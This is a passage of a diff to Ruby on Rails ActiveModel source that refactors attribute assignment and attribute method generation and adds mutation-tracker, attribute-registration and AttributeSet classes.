+++ b/activemodel/lib/active_model/attribute_assignment.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/hash/keys"
 
 module ActiveModel
@@ -8,7 +10,7 @@ module AttributeAssignment
     # keys matching the attribute names.
     #
     # If the passed hash responds to <tt>permitted?</tt> method and the return value
-    # of this method is +false+ an <tt>ActiveModel::ForbiddenAttributesError</tt>
+    # of this method is +false+ an ActiveModel::ForbiddenAttributesError
     # exception is raised.
     #
     #   class Cat
@@ -19,33 +21,57 @@ module AttributeAssignment
     #   cat = Cat.new
     #   cat.assign_attributes(name: "Gorby", status: "yawning")
     #   cat.name # => 'Gorby'
-    #   cat.status => 'yawning'
+    #   cat.status # => 'yawning'
     #   cat.assign_attributes(status: "sleeping")
     #   cat.name # => 'Gorby'
-    #   cat.status => 'sleeping'
+    #   cat.status # => 'sleeping'
     def assign_attributes(new_attributes)
-      if !new_attributes.respond_to?(:stringify_keys)
-        raise ArgumentError, "When assigning attributes, you must pass a hash as an argument."
+      unless new_attributes.respond_to?(:each_pair)
+        raise ArgumentError, "When assigning attributes, you must pass a hash as an argument, #{new_attributes.class} passed."
       end
-      return if new_attributes.nil? || new_attributes.empty?
+      return if new_attributes.empty?
 
-      attributes = new_attributes.stringify_keys
-      _assign_attributes(sanitize_for_mass_assignment(attributes))
+      _assign_attributes(sanitize_for_mass_assignment(new_attributes))
     end
 
-    private
+    alias attributes= assign_attributes
+
+    # Like `BasicObject#method_missing`, `#attribute_writer_missing` is invoked
+    # when `#assign_attributes` is passed an unknown attribute name.
+    #
+    # By default, `#attribute_writer_missing` raises an UnknownAttributeError.
+    #
+    #   class Rectangle
+    #     include ActiveModel::AttributeAssignment
+    #
+    #     attr_accessor :length, :width
+    #
+    #     def attribute_writer_missing(name, value)
+    #       Rails.logger.warn "Tried to assign to unknown attribute #{name}"
+    #     end
+    #   end
+    #
+    #   rectangle = Rectangle.new
+    #   rectangle.assign_attributes(height: 10) # => Logs "Tried to assign to unknown attribute 'height'"
+    def attribute_writer_missing(name, value)
+      raise UnknownAttributeError.new(self, name)
+    end
 
+    private
       def _assign_attributes(attributes)
-        attributes.each do |k, v|
+        attributes.each_pair do |k, v|
           _assign_attribute(k, v)
         end
       end
 
       def _assign_attribute(k, v)
-        if respond_to?("#{k}=")
-          public_send("#{k}=", v)
+        setter = :"#{k}="
+        public_send(setter, v)
+      rescue NoMethodError
+        if respond_to?(setter)
+          raise
         else
-          raise UnknownAttributeError.new(self, k)
+          attribute_writer_missing(k.to_s, v)
         end
       end
   end
diff --git a/activemodel/lib/active_model/attribute_methods.rb b/activemodel/lib/active_model/attribute_methods.rb
index 09825cf861490..d436c56611e98 100644
--- a/activemodel/lib/active_model/attribute_methods.rb
+++ b/activemodel/lib/active_model/attribute_methods.rb
@@ -1,5 +1,6 @@
+# frozen_string_literal: true
+
 require "concurrent/map"
-require "mutex_m"
 
 module ActiveModel
   # Raised when an attribute is not defined.
@@ -10,17 +11,17 @@ module ActiveModel
   #
   #   user = User.first
   #   user.pets.select(:id).first.user_id
-  #   # => ActiveModel::MissingAttributeError: missing attribute: user_id
+  #   # => ActiveModel::MissingAttributeError: missing attribute 'user_id' for Pet
   class MissingAttributeError < NoMethodError
   end
 
-  # == Active \Model \Attribute \Methods
+  # = Active \Model \Attribute \Methods
   #
   # Provides a way to add prefixes and suffixes to your methods as
-  # well as handling the creation of <tt>ActiveRecord::Base</tt>-like
+  # well as handling the creation of ActiveRecord::Base - like
   # class methods such as +table_name+.
   #
-  # The requirements to implement <tt>ActiveModel::AttributeMethods</tt> are to:
+  # The requirements to implement +ActiveModel::AttributeMethods+ are to:
   #
   # * <tt>include ActiveModel::AttributeMethods</tt> in your class.
   # * Call each of its methods you want to add, such as +attribute_method_suffix+
@@ -48,18 +49,17 @@ class MissingAttributeError < NoMethodError
   #     end
   #
   #     private
+  #       def attribute_contrived?(attr)
+  #         true
+  #       end
   #
-  #     def attribute_contrived?(attr)
-  #       true
-  #     end
-  #
-  #     def clear_attribute(attr)
-  #       send("#{attr}=", nil)
-  #     end
+  #       def clear_attribute(attr)
+  #         send("#{attr}=", nil)
+  #       end
   #
-  #     def reset_attribute_to_default!(attr)
-  #       send("#{attr}=", 'Default Name')
-  #     end
+  #       def reset_attribute_to_default!(attr)
+  #         send("#{attr}=", 'Default Name')
+  #       end
   #   end
   module AttributeMethods
     extend ActiveSupport::Concern
@@ -68,9 +68,8 @@ module AttributeMethods
     CALL_COMPILABLE_REGEXP = /\A[a-zA-Z_]\w*[!?]?\z/
 
     included do
-      class_attribute :attribute_aliases, :attribute_method_matchers, instance_writer: false
-      self.attribute_aliases = {}
-      self.attribute_method_matchers = [ClassMethods::AttributeMethodMatcher.new]
+      class_attribute :attribute_aliases, instance_writer: false, default: {}
+      class_attribute :attribute_method_patterns, instance_writer: false, default: [ ClassMethods::AttributeMethodPattern.new ]
     end
 
     module ClassMethods
@@ -94,10 +93,9 @@ module ClassMethods
       #     define_attribute_methods :name
       #
       #     private
-      #
-      #     def clear_attribute(attr)
-      #       send("#{attr}=", nil)
-      #     end
+      #       def clear_attribute(attr)
+      #         send("#{attr}=", nil)
+      #       end
       #   end
       #
       #   person = Person.new
@@ -105,8 +103,8 @@ module ClassMethods
       #   person.name          # => "Bob"
       #   person.clear_name
       #   person.name          # => nil
-      def attribute_method_prefix(*prefixes)
-        self.attribute_method_matchers += prefixes.map! { |prefix| AttributeMethodMatcher.new prefix: prefix }
+      def attribute_method_prefix(*prefixes, parameters: nil)
+        self.attribute_method_patterns += prefixes.map! { |prefix| AttributeMethodPattern.new(prefix: prefix, parameters: parameters) }
         undefine_attribute_methods
       end
 
@@ -130,18 +128,17 @@ def attribute_method_prefix(*prefixes)
       #     define_attribute_methods :name
       #
       #     private
-      #
-      #     def attribute_short?(attr)
-      #       send(attr).length < 5
-      #     end
+      #       def attribute_short?(attr)
+      #         send(attr).length < 5
+      #       end
       #   end
       #
       #   person = Person.new
       #   person.name = 'Bob'
       #   person.name          # => "Bob"
       #   person.name_short?   # => true
-      def attribute_method_suffix(*suffixes)
-        self.attribute_method_matchers += suffixes.map! { |suffix| AttributeMethodMatcher.new suffix: suffix }
+      def attribute_method_suffix(*suffixes, parameters: nil)
+        self.attribute_method_patterns += suffixes.map! { |suffix| AttributeMethodPattern.new(suffix: suffix, parameters: parameters) }
         undefine_attribute_methods
       end
 
@@ -166,10 +163,9 @@ def attribute_method_suffix(*suffixes)
       #     define_attribute_methods :name
       #
       #     private
-      #
-      #     def reset_attribute_to_default!(attr)
-      #       send("#{attr}=", 'Default Name')
-      #     end
+      #       def reset_attribute_to_default!(attr)
+      #         send("#{attr}=", 'Default Name')
+      #       end
       #   end
       #
       #   person = Person.new
@@ -177,7 +173,7 @@ def attribute_method_suffix(*suffixes)
       #   person.reset_name_to_default!
       #   person.name                         # => 'Default Name'
       def attribute_method_affix(*affixes)
-        self.attribute_method_matchers += affixes.map! { |affix| AttributeMethodMatcher.new prefix: affix[:prefix], suffix: affix[:suffix] }
+        self.attribute_method_patterns += affixes.map! { |affix| AttributeMethodPattern.new(**affix) }
         undefine_attribute_methods
       end
 
@@ -193,10 +189,9 @@ def attribute_method_affix(*affixes)
       #     alias_attribute :nickname, :name
       #
       #     private
-      #
-      #     def attribute_short?(attr)
-      #       send(attr).length < 5
-      #     end
+      #       def attribute_short?(attr)
+      #         send(attr).length < 5
+      #       end
       #   end
       #
       #   person = Person.new
@@ -206,14 +201,41 @@ def attribute_method_affix(*affixes)
       #   person.name_short?     # => true
       #   person.nickname_short? # => true
       def alias_attribute(new_name, old_name)
-        self.attribute_aliases = attribute_aliases.merge(new_name.to_s => old_name.to_s)
-        attribute_method_matchers.each do |matcher|
-          matcher_new = matcher.method_name(new_name).to_s
-          matcher_old = matcher.method_name(old_name).to_s
-          define_proxy_call false, self, matcher_new, matcher_old
+        old_name = old_name.to_s
+        new_name = new_name.to_s
+        self.attribute_aliases = attribute_aliases.merge(new_name => old_name)
+        aliases_by_attribute_name[old_name] << new_name
+        eagerly_generate_alias_attribute_methods(new_name, old_name)
+      end
+
+      def eagerly_generate_alias_attribute_methods(new_name, old_name) # :nodoc:
+        ActiveSupport::CodeGenerator.batch(generated_attribute_methods, __FILE__, __LINE__) do |code_generator|
+          generate_alias_attribute_methods(code_generator, new_name, old_name)
+        end
+      end
+
+      def generate_alias_attribute_methods(code_generator, new_name, old_name) # :nodoc:
+        ActiveSupport::CodeGenerator.batch(code_generator, __FILE__, __LINE__) do |owner|
+          attribute_method_patterns.each do |pattern|
+            alias_attribute_method_definition(code_generator, pattern, new_name, old_name)
+          end
+          attribute_method_patterns_cache.clear
         end
       end
 
+      def alias_attribute_method_definition(code_generator, pattern, new_name, old_name) # :nodoc:
+        method_name = pattern.method_name(new_name).to_s
+        target_name = pattern.method_name(old_name).to_s
+        parameters = pattern.parameters
+
+        mangled_name = build_mangled_name(target_name)
+
+        call_args = []
+        call_args << parameters if parameters
+
+        define_call(code_generator, method_name, target_name, mangled_name, parameters, call_args, namespace: :alias_attribute, as: method_name)
+      end
+
       # Is +new_name+ an alias?
       def attribute_alias?(new_name)
         attribute_aliases.key? new_name.to_s
@@ -225,10 +247,10 @@ def attribute_alias(name)
       end
 
       # Declares the attributes that should be prefixed and suffixed by
-      # <tt>ActiveModel::AttributeMethods</tt>.
+      # +ActiveModel::AttributeMethods+.
       #
       # To use, pass attribute names (as strings or symbols). Be sure to declare
-      # +define_attribute_methods+ after you define any prefix, suffix or affix
+      # +define_attribute_methods+ after you define any prefix, suffix, or affix
       # methods, or they will not hook in.
       #
       #   class Person
@@ -243,17 +265,23 @@ def attribute_alias(name)
       #     define_attribute_methods :name, :age, :address
       #
       #     private
-      #
-      #     def clear_attribute(attr)
-      #       send("#{attr}=", nil)
-      #     end
+      #       def clear_attribute(attr)
+      #         send("#{attr}=", nil)
+      #       end
       #   end
       def define_attribute_methods(*attr_names)
-        attr_names.flatten.each { |attr_name| define_attribute_method(attr_name) }
+        ActiveSupport::CodeGenerator.batch(generated_attribute_methods, __FILE__, __LINE__) do |owner|
+          attr_names.flatten.each do |attr_name|
+            define_attribute_method(attr_name, _owner: owner)
+            aliases_by_attribute_name[attr_name.to_s].each do |aliased_name|
+              generate_alias_attribute_methods owner, aliased_name, attr_name
+            end
+          end
+        end
       end
 
       # Declares an attribute that should be prefixed and suffixed by
-      # <tt>ActiveModel::AttributeMethods</tt>.
+      # +ActiveModel::AttributeMethods+.
       #
       # To use, pass an attribute name (as string or symbol). Be sure to declare
       # +define_attribute_method+ after you define any prefix, suffix or affix
@@ -271,34 +299,55 @@ def define_attribute_methods(*attr_names)
       #     define_attribute_method :name
       #
       #     private
-      #
-      #     def attribute_short?(attr)
-      #       send(attr).length < 5
-      #     end
+      #       def attribute_short?(attr)
+      #         send(attr).length < 5
+      #       end
       #   end
       #
       #   person = Person.new
       #   person.name = 'Bob'
       #   person.name        # => "Bob"
       #   person.name_short? # => true
-      def define_attribute_method(attr_name)
-        attribute_method_matchers.each do |matcher|
-          method_name = matcher.method_name(attr_name)
+      def define_attribute_method(attr_name, _owner: generated_attribute_methods, as: attr_name)
+        ActiveSupport::CodeGenerator.batch(_owner, __FILE__, __LINE__) do |owner|
+          attribute_method_patterns.each do |pattern|
+            define_attribute_method_pattern(pattern, attr_name, owner: owner, as: as)
+          end
+          attribute_method_patterns_cache.clear
+        end
+      end
 
-          unless instance_method_already_implemented?(method_name)
-            generate_method = "define_method_#{matcher.method_missing_target}"
+      def define_attribute_method_pattern(pattern, attr_name, owner:, as:, override: false) # :nodoc:
+        canonical_method_name = pattern.method_name(attr_name)
+        public_method_name = pattern.method_name(as)
+
+        # If defining a regular attribute method, we don't override methods that are explicitly
+        # defined in parent classes.
+        if instance_method_already_implemented?(public_method_name)
+          # However, for `alias_attribute`, we always define the method.
+          # We check for override second because `instance_method_already_implemented?`
+          # also check for dangerous methods.
+          return unless override
+        end
 
-            if respond_to?(generate_method, true)
-              send(generate_method, attr_name)
-            else
-              define_proxy_call true, generated_attribute_methods, method_name, matcher.method_missing_target, attr_name.to_s
-            end
-          end
+        generate_method = "define_method_#{pattern.proxy_target}"
+
+        if respond_to?(generate_method, true)
+          send(generate_method, attr_name.to_s, owner: owner, as: as)
+        else
+          define_proxy_call(
+            owner,
+            canonical_method_name,
+            pattern.proxy_target,
+            pattern.parameters,
+            attr_name.to_s,
+            namespace: :active_model_proxy,
+            as: public_method_name
+          )
         end
-        attribute_method_matchers_cache.clear
       end
 
-      # Removes all the previously dynamically defined methods from the class.
+      # Removes all the previously dynamically defined methods from the class, including alias attribute methods.
       #
       #   class Person
       #     include ActiveModel::AttributeMethods
@@ -306,37 +355,54 @@ def define_attribute_method(attr_name)
       #     attr_accessor :name
       #     attribute_method_suffix '_short?'
       #     define_attribute_method :name
+      #     alias_attribute :first_name, :name
       #
       #     private
-      #
-      #     def attribute_short?(attr)
-      #       send(attr).length < 5
-      #     end
+      #       def attribute_short?(attr)
+      #         send(attr).length < 5
+      #       end
       #   end
       #
       #   person = Person.new
       #   person.name = 'Bob'
+      #   person.first_name  # => "Bob"
       #   person.name_short? # => true
       #
       #   Person.undefine_attribute_methods
       #
       #   person.name_short? # => NoMethodError
+      #   person.first_name  # => NoMethodError
       def undefine_attribute_methods
-        generated_attribute_methods.module_eval do
-          instance_methods.each { |m| undef_method(m) }
+        @generated_attribute_methods&.module_eval do
+          undef_method(*instance_methods)
         end
-        attribute_method_matchers_cache.clear
+        attribute_method_patterns_cache.clear
       end
 
-      def generated_attribute_methods #:nodoc:
-        @generated_attribute_methods ||= Module.new {
-          extend Mutex_m
-        }.tap { |mod| include mod }
+      def aliases_by_attribute_name # :nodoc:
+        @aliases_by_attribute_name ||= Hash.new { |h, k| h[k] = [] }
       end
 
       private
+        def inherited(base) # :nodoc:
+          super
+          base.class_eval do
+            @attribute_method_patterns_cache = nil
+            @aliases_by_attribute_name = nil
+            @generated_attribute_methods = nil
+          end
+        end
+
+        def resolve_attribute_name(name)
+          attribute_aliases.fetch(super, &:itself)
+        end
+
+        def generated_attribute_methods
+          @generated_attribute_methods ||= Module.new.tap { |mod| include mod }
+        end
+
         def instance_method_already_implemented?(method_name)
-          generated_attribute_methods.method_defined?(method_name)
+          @generated_attribute_methods&.method_defined?(method_name)
         end
 
         # The methods +method_missing+ and +respond_to?+ of this module are
@@ -348,69 +414,83 @@ def instance_method_already_implemented?(method_name)
         # used to alleviate the GC, which ultimately also speeds up the app
         # significantly (in our case our test suite finishes 10% faster with
         # this cache).
-        def attribute_method_matchers_cache
-          @attribute_method_matchers_cache ||= Concurrent::Map.new(initial_capacity: 4)
+        def attribute_method_patterns_cache
+          @attribute_method_patterns_cache ||= Concurrent::Map.new(initial_capacity: 4)
         end
 
-        def attribute_method_matchers_matching(method_name)
-          attribute_method_matchers_cache.compute_if_absent(method_name) do
-            # Must try to match prefixes/suffixes first, or else the matcher with no prefix/suffix
-            # will match every time.
-            matchers = attribute_method_matchers.partition(&:plain?).reverse.flatten(1)
-            matchers.map { |method| method.match(method_name) }.compact
+        def attribute_method_patterns_matching(method_name)
+          attribute_method_patterns_cache.compute_if_absent(method_name) do
+            attribute_method_patterns.filter_map { |pattern| pattern.match(method_name) }
           end
         end
 
         # Define a method `name` in `mod` that dispatches to `send`
-        # using the given `extra` args. This falls back on `define_method`
-        # and `send` if the given names cannot be compiled.
-        def define_proxy_call(include_private, mod, name, send, *extra)
-          defn = if NAME_COMPILABLE_REGEXP.match?(name)
-            "def #{name}(*args)"
-          else
-            "define_method(:'#{name}') do |*args|"
-          end
+        # using the given `extra` args. This falls back on `send`
+        # if the called name cannot be compiled.
+        def define_proxy_call(code_generator, name, proxy_target, parameters, *call_args, namespace:, as: name)
+          mangled_name = build_mangled_name(name)
 
-          extra = (extra.map!(&:inspect) << "*args").join(", ".freeze)
+          call_args.map!(&:inspect)
+          call_args << parameters if parameters
 
-          target = if CALL_COMPILABLE_REGEXP.match?(send)
-            "#{"self." unless include_private}#{send}(#{extra})"
-          else
-            "send(:'#{send}', #{extra})"
+          # We have to use a different namespace for every target method, because
+          # if someone defines an attribute that look like an attribute method we could clash, e.g.
+          #   attribute :title_was
+          #   attribute :title
+          namespace = :"#{namespace}_#{proxy_target}"
+
+          define_call(code_generator, name, proxy_target, mangled_name, parameters, call_args, namespace: namespace, as: as)
+        end
+
+        def build_mangled_name(name)
+          mangled_name = name
+
+          unless NAME_COMPILABLE_REGEXP.match?(name)
+            mangled_name = :"__temp__#{name.unpack1("h*")}"
           end
 
-          mod.module_eval <<-RUBY, __FILE__, __LINE__ + 1
-            #{defn}
-              #{target}
+          mangled_name
+        end
+
+        def define_call(code_generator, name, target_name, mangled_name, parameters, call_args, namespace:, as:)
+          code_generator.define_cached_method(mangled_name, as: as, namespace: namespace) do |batch|
+            body = if CALL_COMPILABLE_REGEXP.match?(target_name)
+              "self.#{target_name}(#{call_args.join(", ")})"
+            else
+              call_args.unshift(":'#{target_name}'")
+              "send(#{call_args.join(", ")})"
             end
-          RUBY
+
+            batch <<
+              "def #{mangled_name}(#{parameters || ''})" <<
+              body <<
+              "end"
+          end
         end
 
-        class AttributeMethodMatcher #:nodoc:
-          attr_reader :prefix, :suffix, :method_missing_target
+        class AttributeMethodPattern # :nodoc:
+          attr_reader :prefix, :suffix, :proxy_target, :parameters
 
-          AttributeMethodMatch = Struct.new(:target, :attr_name, :method_name)
+          AttributeMethod = Struct.new(:proxy_target, :attr_name)
 
-          def initialize(options = {})
-            @prefix, @suffix = options.fetch(:prefix, ""), options.fetch(:suffix, "")
-            @regex = /^(?:#{Regexp.escape(@prefix)})(.*)(?:#{Regexp.escape(@suffix)})$/
-            @method_missing_target = "#{@prefix}attribute#{@suffix}"
+          def initialize(prefix: "", suffix: "", parameters: nil)
+            @prefix = prefix
+            @suffix = suffix
+            @parameters = parameters.nil? ? "..." : parameters
+            @regex = /\A(?:#{Regexp.escape(@prefix)})(.*)(?:#{Regexp.escape(@suffix)})\z/
+            @proxy_target = "#{@prefix}attribute#{@suffix}"
             @method_name = "#{prefix}%s#{suffix}"
           end
 
           def match(method_name)
             if @regex =~ method_name
-              AttributeMethodMatch.new(method_missing_target, $1, method_name)
+              AttributeMethod.new(proxy_target, $1)
             end
           end
 
           def method_name(attr_name)
             @method_name % attr_name
           end
-
-          def plain?
-            prefix.empty? && suffix.empty?
-          end
         end
     end
 
@@ -424,12 +504,12 @@ def plain?
     # It's also possible to instantiate related objects, so a <tt>Client</tt>
     # class belonging to the +clients+ table with a +master_id+ foreign key
     # can instantiate master through <tt>Client#master</tt>.
-    def method_missing(method, *args, &block)
+    def method_missing(method, ...)
       if respond_to_without_attributes?(method, true)
         super
       else
-        match = matched_attribute_method(method.to_s)
-        match ? attribute_missing(match, *args, &block) : super
+        match = matched_attribute_method(method.name)
+        match ? attribute_missing(match, ...) : super
       end
     end
 
@@ -437,8 +517,8 @@ def method_missing(method, *args, &block)
     # +method_missing+ is called we check to see if there is a matching
     # attribute method. If so, we tell +attribute_missing+ to dispatch the
     # attribute. This method can be overloaded to customize the behavior.
-    def attribute_missing(match, *args, &block)
-      __send__(match.target, match.attr_name, *args, &block)
+    def attribute_missing(match, ...)
+      __send__(match.proxy_target, match.attr_name, ...)
     end
 
     # A +Person+ instance with a +name+ attribute can ask
@@ -465,12 +545,48 @@ def attribute_method?(attr_name)
       # Returns a struct representing the matching attribute method.
       # The struct's attributes are prefix, base and suffix.
       def matched_attribute_method(method_name)
-        matches = self.class.send(:attribute_method_matchers_matching, method_name)
+        matches = self.class.send(:attribute_method_patterns_matching, method_name)
         matches.detect { |match| attribute_method?(match.attr_name) }
       end
 
       def missing_attribute(attr_name, stack)
-        raise ActiveModel::MissingAttributeError, "missing attribute: #{attr_name}", stack
+        raise ActiveModel::MissingAttributeError, "missing attribute '#{attr_name}' for #{self.class}", stack
+      end
+
+      def _read_attribute(attr)
+        __send__(attr)
+      end
+
+      module AttrNames # :nodoc:
+        DEF_SAFE_NAME = /\A[a-zA-Z_]\w*\z/
+
+        # We want to generate the methods via module_eval rather than
+        # define_method, because define_method is slower on dispatch.
+        #
+        # But sometimes the database might return columns with
+        # characters that are not allowed in normal method names (like
+        # 'my_column(omg)'. So to work around this we first define with
+        # the __temp__ identifier, and then use alias method to rename
+        # it to what we want.
+        #
+        # We are also defining a constant to hold the frozen string of
+        # the attribute name. Using a constant means that we do not have
+        # to allocate an object on each call to the attribute method.
+        # Making it frozen means that it doesn't get duped when used to
+        # key the @attributes in read_attribute.
+        def self.define_attribute_accessor_method(owner, attr_name, writer: false)
+          method_name = "#{attr_name}#{'=' if writer}"
+          if attr_name.ascii_only? && DEF_SAFE_NAME.match?(attr_name)
+            yield method_name, "'#{attr_name}'"
+          else
+            safe_name = attr_name.unpack1("h*")
+            const_name = "ATTR_#{safe_name}"
+            const_set(const_name, attr_name) unless const_defined?(const_name)
+            temp_method_name = "__temp__#{safe_name}#{'=' if writer}"
+            attr_name_expr = "::ActiveModel::AttributeMethods::AttrNames::#{const_name}"
+            yield temp_method_name, attr_name_expr
+          end
+        end
       end
   end
 end
diff --git a/activemodel/lib/active_model/attribute_mutation_tracker.rb b/activemodel/lib/active_model/attribute_mutation_tracker.rb
new file mode 100644
index 0000000000000..7c6b2dc7c78e3
--- /dev/null
+++ b/activemodel/lib/active_model/attribute_mutation_tracker.rb
@@ -0,0 +1,189 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/hash/indifferent_access"
+require "active_support/core_ext/object/duplicable"
+
+module ActiveModel
+  class AttributeMutationTracker # :nodoc:
+    OPTION_NOT_GIVEN = Object.new.freeze
+
+    def initialize(attributes)
+      @attributes = attributes
+    end
+
+    def changed_attribute_names
+      attr_names.select { |attr_name| changed?(attr_name) }
+    end
+
+    def changed_values
+      attr_names.each_with_object(ActiveSupport::HashWithIndifferentAccess.new) do |attr_name, result|
+        if changed?(attr_name)
+          result.store(attr_name, original_value(attr_name), convert_value: false)
+        end
+      end
+    end
+
+    def changes
+      attr_names.each_with_object(ActiveSupport::HashWithIndifferentAccess.new) do |attr_name, result|
+        if change = change_to_attribute(attr_name)
+          result.store(attr_name, change, convert_value: false)
+        end
+      end
+    end
+
+    def change_to_attribute(attr_name)
+      if changed?(attr_name)
+        [original_value(attr_name), fetch_value(attr_name)]
+      end
+    end
+
+    def any_changes?
+      attr_names.any? { |attr| changed?(attr) }
+    end
+
+    def changed?(attr_name, from: OPTION_NOT_GIVEN, to: OPTION_NOT_GIVEN)
+      attribute_changed?(attr_name) &&
+        (OPTION_NOT_GIVEN == from || original_value(attr_name) == type_cast(attr_name, from)) &&
+        (OPTION_NOT_GIVEN == to || fetch_value(attr_name) == type_cast(attr_name, to))
+    end
+
+    def changed_in_place?(attr_name)
+      attributes[attr_name].changed_in_place?
+    end
+
+    def forget_change(attr_name)
+      attributes[attr_name] = attributes[attr_name].forgetting_assignment
+      forced_changes.delete(attr_name)
+    end
+
+    def original_value(attr_name)
+      attributes[attr_name].original_value
+    end
+
+    def force_change(attr_name)
+      forced_changes[attr_name] = fetch_value(attr_name)
+    end
+
+    private
+      attr_reader :attributes
+
+      def forced_changes
+        @forced_changes ||= {}
+      end
+
+      def attr_names
+        attributes.keys
+      end
+
+      def attribute_changed?(attr_name)
+        forced_changes.include?(attr_name) || !!attributes[attr_name].changed?
+      end
+
+      def fetch_value(attr_name)
+        attributes.fetch_value(attr_name)
+      end
+
+      def type_cast(attr_name, value)
+        attributes[attr_name].type_cast(value)
+      end
+  end
+
+  class ForcedMutationTracker < AttributeMutationTracker # :nodoc:
+    def initialize(attributes)
+      super
+      @finalized_changes = nil
+    end
+
+    def changed_in_place?(attr_name)
+      false
+    end
+
+    def change_to_attribute(attr_name)
+      if finalized_changes&.include?(attr_name)
+        finalized_changes[attr_name].dup
+      else
+        super
+      end
+    end
+
+    def forget_change(attr_name)
+      forced_changes.delete(attr_name)
+    end
+
+    def original_value(attr_name)
+      if changed?(attr_name)
+        forced_changes[attr_name]
+      else
+        fetch_value(attr_name)
+      end
+    end
+
+    def force_change(attr_name)
+      forced_changes[attr_name] = clone_value(attr_name) unless attribute_changed?(attr_name)
+    end
+
+    def finalize_changes
+      @finalized_changes = changes
+    end
+
+    private
+      attr_reader :finalized_changes
+
+      def attr_names
+        forced_changes.keys
+      end
+
+      def attribute_changed?(attr_name)
+        forced_changes.include?(attr_name)
+      end
+
+      def fetch_value(attr_name)
+        attributes.send(:_read_attribute, attr_name)
+      end
+
+      def clone_value(attr_name)
+        value = fetch_value(attr_name)
+        value.duplicable? ? value.clone : value
+      rescue TypeError, NoMethodError
+        value
+      end
+
+      def type_cast(attr_name, value)
+        value
+      end
+  end
+
+  class NullMutationTracker # :nodoc:
+    include Singleton
+
+    def changed_attribute_names
+      []
+    end
+
+    def changed_values
+      {}
+    end
+
+    def changes
+      {}
+    end
+
+    def change_to_attribute(attr_name)
+    end
+
+    def any_changes?
+      false
+    end
+
+    def changed?(attr_name, **)
+      false
+    end
+
+    def changed_in_place?(attr_name)
+      false
+    end
+
+    def original_value(attr_name)
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/attribute_registration.rb b/activemodel/lib/active_model/attribute_registration.rb
new file mode 100644
index 0000000000000..3159b021493b5
--- /dev/null
+++ b/activemodel/lib/active_model/attribute_registration.rb
@@ -0,0 +1,117 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/class/subclasses"
+require "active_model/attribute_set"
+require "active_model/attribute/user_provided_default"
+
+module ActiveModel
+  module AttributeRegistration # :nodoc:
+    extend ActiveSupport::Concern
+
+    module ClassMethods # :nodoc:
+      def attribute(name, type = nil, default: (no_default = true), **options)
+        name = resolve_attribute_name(name)
+        type = resolve_type_name(type, **options) if type.is_a?(Symbol)
+        type = hook_attribute_type(name, type) if type
+
+        pending_attribute_modifications << PendingType.new(name, type) if type || no_default
+        pending_attribute_modifications << PendingDefault.new(name, default) unless no_default
+
+        reset_default_attributes
+      end
+
+      def decorate_attributes(names = nil, &decorator) # :nodoc:
+        names = names&.map { |name| resolve_attribute_name(name) }
+
+        pending_attribute_modifications << PendingDecorator.new(names, decorator)
+
+        reset_default_attributes
+      end
+
+      def _default_attributes # :nodoc:
+        @default_attributes ||= AttributeSet.new({}).tap do |attribute_set|
+          apply_pending_attribute_modifications(attribute_set)
+        end
+      end
+
+      def attribute_types # :nodoc:
+        @attribute_types ||= _default_attributes.cast_types.tap do |hash|
+          hash.default = Type.default_value
+        end
+      end
+
+      def type_for_attribute(attribute_name, &block)
+        attribute_name = resolve_attribute_name(attribute_name)
+
+        if block
+          attribute_types.fetch(attribute_name, &block)
+        else
+          attribute_types[attribute_name]
+        end
+      end
+
+      private
+        PendingType = Struct.new(:name, :type) do # :nodoc:
+          def apply_to(attribute_set)
+            attribute = attribute_set[name]
+            attribute_set[name] = attribute.with_type(type || attribute.type)
+          end
+        end
+
+        PendingDefault = Struct.new(:name, :default) do # :nodoc:
+          def apply_to(attribute_set)
+            attribute_set[name] = attribute_set[name].with_user_default(default)
+          end
+        end
+
+        PendingDecorator = Struct.new(:names, :decorator) do # :nodoc:
+          def apply_to(attribute_set)
+            (names || attribute_set.keys).each do |name|
+              attribute = attribute_set[name]
+              type = decorator.call(name, attribute.type)
+              attribute_set[name] = attribute.with_type(type) if type
+            end
+          end
+        end
+
+        def pending_attribute_modifications
+          @pending_attribute_modifications ||= []
+        end
+
+        def apply_pending_attribute_modifications(attribute_set)
+          if superclass.respond_to?(:apply_pending_attribute_modifications, true)
+            superclass.send(:apply_pending_attribute_modifications, attribute_set)
+          end
+
+          pending_attribute_modifications.each do |modification|
+            modification.apply_to(attribute_set)
+          end
+        end
+
+        def reset_default_attributes
+          reset_default_attributes!
+          subclasses.each { |subclass| subclass.send(:reset_default_attributes) }
+        end
+
+        def reset_default_attributes!
+          @default_attributes = nil
+          @attribute_types = nil
+        end
+
+        def resolve_attribute_name(name)
+          name.to_s
+        end
+
+        def resolve_type_name(name, **options)
+          Type.lookup(name, **options)
+        end
+
+        # Hook for other modules to override. The attribute type is passed
+        # through this method immediately after it is resolved, before any type
+        # decorations are applied.
+        def hook_attribute_type(attribute, type)
+          type
+        end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/attribute_set.rb b/activemodel/lib/active_model/attribute_set.rb
new file mode 100644
index 0000000000000..7cd2368ab3d0d
--- /dev/null
+++ b/activemodel/lib/active_model/attribute_set.rb
@@ -0,0 +1,118 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/enumerable"
+require "active_support/core_ext/object/deep_dup"
+require "active_model/attribute_set/builder"
+require "active_model/attribute_set/yaml_encoder"
+
+module ActiveModel
+  class AttributeSet # :nodoc:
+    delegate :each_value, :fetch, :except, to: :attributes
+
+    def initialize(attributes)
+      @attributes = attributes
+    end
+
+    def [](name)
+      @attributes[name] || default_attribute(name)
+    end
+
+    def []=(name, value)
+      @attributes[name] = value
+    end
+
+    def cast_types
+      attributes.transform_values(&:type)
+    end
+
+    def values_before_type_cast
+      attributes.transform_values(&:value_before_type_cast)
+    end
+
+    def values_for_database
+      attributes.transform_values(&:value_for_database)
+    end
+
+    def to_hash
+      keys.index_with { |name| self[name].value }
+    end
+    alias :to_h :to_hash
+
+    def key?(name)
+      attributes.key?(name) && self[name].initialized?
+    end
+    alias :include? :key?
+
+    def keys
+      attributes.each_key.select { |name| self[name].initialized? }
+    end
+
+    def fetch_value(name, &block)
+      self[name].value(&block)
+    end
+
+    def write_from_database(name, value)
+      @attributes[name] = self[name].with_value_from_database(value)
+    end
+
+    def write_from_user(name, value)
+      raise FrozenError, "can't modify frozen attributes" if frozen?
+      @attributes[name] = self[name].with_value_from_user(value)
+      value
+    end
+
